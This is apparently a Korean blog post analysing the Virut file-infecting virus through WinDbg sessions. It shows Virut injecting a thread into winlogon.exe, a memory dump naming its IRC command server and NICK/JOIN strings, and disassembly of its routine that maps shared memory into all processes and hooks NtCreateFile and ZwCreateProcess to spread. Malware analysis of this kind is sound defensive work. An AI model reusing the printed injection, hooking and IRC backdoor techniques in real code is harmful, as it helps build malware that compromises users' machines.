eip=00370419 esp=0012fe90 ebp=fff6f000 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
00370419 85c0 test eax,eax
0:000> r eax
eax=000007a4

[lkd]
lkd> !process 0 0

PROCESS 8616f3c0 SessionId: 0 Cid: 019c Peb: 7ffd3000 ParentCid: 013c
DirBase: 0c1d3000 ObjectTable: e13b5f90 HandleCount: 449.
Image: winlogon.exe

Winlogon에 Attach 하여 무슨짓을 할려고하는것을 확인할 수 있습니다.

0:000> g
Breakpoint 1 hit
eax=00000000 ebx=000007a4 ecx=7ff70c3e edx=ffffffff esi=00000004 edi=000007cc
eip=7c81042c esp=0012fe6c ebp=fff6f000 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
kernel32!CreateRemoteThread:
7c81042c 6810040000 push 410h
0:000> kvn
# ChildEBP RetAddr Args to Child
00 0012fe68 00370444 000007a4 00000000 00000000 kernel32!CreateRemoteThread (FPO: [Non-Fpo])
WARNING: Frame IP not in any known module. Following frames may be wrong.
01 0012fed4 77f61cfb 77f61d12 00000000 00000000 0×370444
02 0012ff10 7c80ba80 00390054 7c80ba8b 00000000 ADVAPI32!LsaClose+0×44 (FPO: [Non-Fpo])
03 0012ff44 7c864ad2 7c93e96c 7c864ade ffffffff kernel32!lstrcpyW+0×1c (FPO: [Non-Fpo])
04 7c93da54 90909090 0054b890 00ba0000 ff7ffe03 kernel32!ThpProcessToSnap+0×2b2 (FPO: [Non-Fpo])
05 7c93da54 00000000 0054b890 00ba0000 ff7ffe03 0×90909090

winlogon에 새로운 Thread를 생성합니다. 실재 Virut의 동작을 위한 부분이죠

0:000> dps 0012fe68
0012fe68 000007a4
0012fe6c 00370444
0012fe70 000007a4
0012fe74 00000000
0012fe78 00000000
0012fe7c 7ff80c3e
0012fe80 00000004
0012fe84 00000000
0012fe88 0012fe8c
0012fe8c 00000000
0012fe90 00000128
0012fe94 00000000

7ff80c3e Memory를 생성할 Thread의 Entry로 넣어주는군요. 이 Memory의 정체는 Winlogon Process를 Open하여 NtMapViewOfSection을 호출하고 이를 통해 Memory를 Mapping해서 생긴것으로 추정이 가능하죠.

[virut attach debugger]
0:000> !address 00370000
00370000 : 00370000 - 00006000
Type 00040000 MEM_MAPPED
Protect 00000004 PAGE_READWRITE
State 00001000 MEM_COMMIT
Usage RegionUsageIsVAD

[winlogon attach debugger]

0:026> !address 7ff80c3e
7ff80000 : 7ff80000 - 00006000
Type 00040000 MEM_MAPPED
Protect 00000004 PAGE_READWRITE
State 00001000 MEM_COMMIT
Usage RegionUsageIsVAD

0:026> bl
0 e 7ff80c3e 0001 (0001) 0:****

0:016> kvn
# ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 021dffb4 7c80b683 00000004 00000000 00000000 0×7ff80c3e
01 021dffec 00000000 7ff80c3e 00000004 00000000 kernel32!BaseThreadStart+0×37 (FPO: [Non-Fpo])

Virut이 감염된 PC의 Winlogon의 Stack을 확인하면 Virut의 목적(??)을 확인 할 수 있습니다. 백도어라는….

16 Id: 1f0.5a0 Suspend: 1 Teb: 7ff99000 Unfrozen
# ChildEBP RetAddr Args to Child
00 021df338 7c93e3ed 77d8cc65 0000085c 00f58ea0 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
01 021df33c 77d8cc65 0000085c 00f58ea0 00f58ea0 ntdll!ZwRequestWaitReplyPort+0xc (FPO: [3,0,0])
02 021df388 77d8aaf6 00f58ed8 021df3a8 77d8ab27 RPCRT4!LRPC_CCALL::SendReceive+0×228 (FPO: [Non-Fpo])
03 021df394 77d8ab27 021df3c4 76ed2e58 021df7a0 RPCRT4!I_RpcSendReceive+0×24 (FPO: [Non-Fpo])
04 021df3a8 77e04675 021df3f0 00f58f1c 00000000 RPCRT4!NdrSendReceive+0×2b (FPO: [Non-Fpo])
05 021df784 76ed35d7 76ed2e58 76ed2c60 021df7a0 RPCRT4!NdrClientCall2+0×222 (FPO: [Non-Fpo])
06 021df798 76ed356b 00000000 00f5d574 00000001 DNSAPI!R_ResolverQuery+0×1b (FPO: [Non-Fpo])
07 021df7f4 719826c6 00f5d574 00000001 00000000 DNSAPI!DnsQuery_W+0×14f (FPO: [Non-Fpo])
08 021df828 7198266f 00f5d574 00000001 00000000 mswsock!HostentBlob_Query+0×29 (FPO: [Non-Fpo])
09 021df854 71981b0a 00f5d508 01ec78f0 01ec78d8 mswsock!Rnr_DoDnsLookup+0×7d (FPO: [Non-Fpo])
0a 021dfc9c 719e2fc8 00f5d508 00000000 021dfd50 mswsock!NSPLookupServiceNext+0×533 (FPO: [Non-Fpo])
0b 021dfcb4 719e2fa8 00f42330 00f5d508 00000000 WS2_32!NSPROVIDER::NSPLookupServiceNext+0×17 (FPO: [Non-Fpo])
0c 021dfcd0 719e2f72 00f36c28 00000000 021dfd50 WS2_32!NSPROVIDERSTATE::LookupServiceNext+0×1c (FPO: [Non-Fpo])
0d 021dfcfc 719e2f10 01ec78f0 00000000 021dfd50 WS2_32!NSQUERY::LookupServiceNext+0xae (FPO: [Non-Fpo])
0e 021dfd1c 719e5771 01ec78d8 00000000 021dfd50 WS2_32!WSALookupServiceNextW+0×78 (FPO: [Non-Fpo])
0f 021dfd40 719e5268 01ec78d8 00000000 0000013c WS2_32!WSALookupServiceNextA+0×63 (FPO: [Non-Fpo])
10 021dfd6c 719e5066 021dfd9c 0000013c 7ff80bfc WS2_32!getxyDataEnt+0xa1 (FPO: [Non-Fpo])
11 021dffa8 7ff80e5b 7ff80bfc 021dffec 7c80b683 WS2_32!gethostbyname+0xb4 (FPO: [Non-Fpo])
WARNING: Frame IP not in any known module. Following frames may be wrong.
12 021dffb4 7c80b683 00000004 00000000 00000000 0×7ff80e5b
13 021dffec 00000000 7ff80c3e 00000004 00000000 kernel32!BaseThreadStart+0×37 (FPO: [Non-Fpo])

0:015> dc 7ff80bfc
7ff80bfc 786f7270 2e616d69 67637269 78616c61 proxima.ircgalax
7ff80c0c 6c702e79 43494e00 7379204b 626e626a y.pl
.NICK ysjbnb
7ff80c1c 550a7677 20524553 3032306a 20313035 wv.USER j020501
7ff80c2c 202e202e 4f4a5f3a 26204e49 74726976 . . :_JOIN &virt
7ff80c3c e8550a75 00000000 44ed815d c600401c u.U…..]..D.@..
7ff80c4c 40147785 95ff0000 0040245b 741fe8c1 .w.@….[$@....t
7ff80c5c 8b1e6a3c 40241bb5 3cac5900 662a752e <j....$@.Y.<.u*f
7ff80c6c 1dff3e81 bd8d2375 004024fb 5702768b .>..u#...$@..v.W
0:015> da 7ff80bfc
7ff80bfc "proxima.ircgalaxy.pl"

Memory상의 Text에서 알 수 있듯이 proxima.ircgalaxy.pl IRC 서버에 접속하는 군요. 물론 그 이후에 무엇인가 동작을 하겠죠.(사실 광고를 뿌리기위한 코드라고 합니다.)  Virut은 그 이외에 몇가지 Function을 Hooking하여 File을 확산 시킵니다. 잼있는것은 User Level Global Hook을 하는 굉장히 괜찮은 방법을 생각해 냈다는거죠.

...
003d0104 ff9507244000 call dword ptr image00400000+0x2407 (00402407)[ebp] // CloseHandle
003d010a 5d pop ebp
003d010b c3 ret

003d03f9 54 push esp
003d03fa 57 push edi
003d03fb ff9577244000 call dword ptr image00400000+0×2477 (00402477)[ebp] // kernel32!Process32Next
003d0401 85c0 test eax,eax
003d0403 745c je 003d0461

003d0405 46 inc esi
003d0406 83fe04 cmp esi,4
003d0409 72ee jb 003d03f9

003d040b ff742408 push dword ptr [esp+8]
003d040f 6a00 push 0
003d0411 6a2a push 2Ah
003d0413 ff956f244000 call dword ptr image00400000+0×246f (0040246f)[ebp] // OpenProcess

003d0419 85c0 test eax,eax
003d041b 74dc je 003d03f9

003d041d 93 xchg eax,ebx
003d041e e8e4030000 call 003d0807 // 생성한 Shared Memory를 맵핑하고 Function을 Hook 한다.
003d0423 33c9 xor ecx,ecx
003d0425 91 xchg eax,ecx
003d0426 e330 jecxz 003d0458

003d0428 3985f7244000 cmp dword ptr image00400000+0×24f7 (004024f7)[ebp],eax // 460
003d042e 7528 jne 003d0458

003d0430 81c13e0c0000 add ecx,0C3Eh
003d0436 50 push eax
003d0437 54 push esp
003d0438 50 push eax
003d0439 56 push esi
003d043a 51 push ecx
003d043b 50 push eax
003d043c 50 push eax
003d043d 53 push ebx
003d043e ff9533244000 call dword ptr image00400000+0×2433 (00402433)[ebp] // CreateRemoteThread
003d0444 85c0 test eax,eax
003d0446 59 pop ecx
003d0447 740f je 003d0458

003d0449 ff742408 push dword ptr [esp+8]
003d044d 8f85f7244000 pop dword ptr image00400000+0×24f7 (004024f7)[ebp] // 460
003d0453 e809feffff call 003d0261 // Sleep

003d0458 53 push ebx
003d0459 ff9507244000 call dword ptr image00400000+0×2407 (00402407)[ebp] // CloseHandle
003d045f eb98 jmp 003d03f9

003d0461 81c428010000 add esp,128h
003d0467 57 push edi
003d0468 ff9507244000 call dword ptr image00400000+0×2407 (00402407)[ebp] // CloseHandle
003d046e e991fcffff jmp 003d0104 // CloseHandle

0:000> uf 003d0807
003d0807 57 push edi
003d0808 8d859f144000 lea eax,image00400000+0×149f (0040149f)[ebp]
003d080e 33ff xor edi,edi
003d0810 50 push eax
003d0811 6a00 push 0
003d0813 6a06 push 6
003d0815 ff956b244000 call dword ptr image00400000+0×246b (0040246b)[ebp] // OpenFileMapping
003d081b 85c0 test eax,eax
003d081d 747f je 003d089e

003d081f 50 push eax
003d0820 6839580000 push 5839h
003d0825 8bd4 mov edx,esp
003d0827 6a00 push 0
003d0829 8bcc mov ecx,esp
003d082b 6a04 push 4
003d082d 6800001000 push 100000h
003d0832 6a02 push 2
003d0834 52 push edx
003d0835 6a00 push 0
003d0837 6839580000 push 5839h
003d083c 6a00 push 0
003d083e 51 push ecx
003d083f 53 push ebx
003d0840 50 push eax
003d0841 ff95a3244000 call dword ptr image00400000+0×24a3 (004024a3)[ebp] // ZwMapViewOfSection
003d0847 5f pop edi
003d0848 59 pop ecx
003d0849 ff9507244000 call dword ptr image00400000+0×2407 (00402407)[ebp] // CloseHandle
003d084f 85ff test edi,edi
003d0851 744b je 003d089e

003d0853 8b8d88144000 mov ecx,dword ptr image00400000+0×1488 (00401488)[ebp]
003d0859 e30c jecxz 003d0867

003d085b 8d9500104000 lea edx,image00400000+0×1000 (00401000)[ebp]
003d0861 03d1 add edx,ecx
003d0863 57 push edi
003d0864 53 push ebx
003d0865 ffd2 call edx

003d0867 8b8597244000 mov eax,dword ptr image00400000+0×2497 (00402497)[ebp] // ntdll!NtCreateFile
003d086d 8d8f79130000 lea ecx,[edi+1379h]
003d0873 e858ffffff call 003d07d0
003d0878 8b859b244000 mov eax,dword ptr image00400000+0×249b (0040249b)[ebp] // ntdll!ZwCreateProcess
003d087e 8d8fc6130000 lea ecx,[edi+13C6h]
003d0884 e847ffffff call 003d07d0
003d0889 8b859f244000 mov eax,dword ptr image00400000+0×249f (0040249f)[ebp] // ntdll!ZwCreateProcessEx
003d088f 85c0 test eax,eax
003d0891 740b je 003d089e

003d0893 8d8fd3130000 lea ecx,[edi+13D3h]
003d0899 e832ffffff call 003d07d0

003d089e 8bc7 mov eax,edi
003d08a0 5f pop edi
003d08a1 c3 ret

생성한 Shared Memory를 모든 프로세스에 Mapping하고 ( 위에서 잠깐 언급한..) NtCreateFile, ZwCreateProcess, ZwCreateProcessEx라는 함수들을 전역 Hooking합니다. 실행될 코드는 모두 이미 구성된 Shared Memory 안에 존재하겠죠. 이런 기법의 Global Hook은 다른 Thread를 생성하지 않고 API를 통해서 안전하게( ?? ) Hook을 할 수 있다는 점입니다. 보통은 Remote Thread를 통해서 hooking Dll를 Load하는 방법을 사용하지만 말이죠 ^^

대략적으로 Virut의 기본형에 대해서 분석내용을 작성해보았습니다. 덤프분석이나 시스템 충돌 분석과는 또다른 재미가 있내요. 시간이 나실때 한번 해보시길…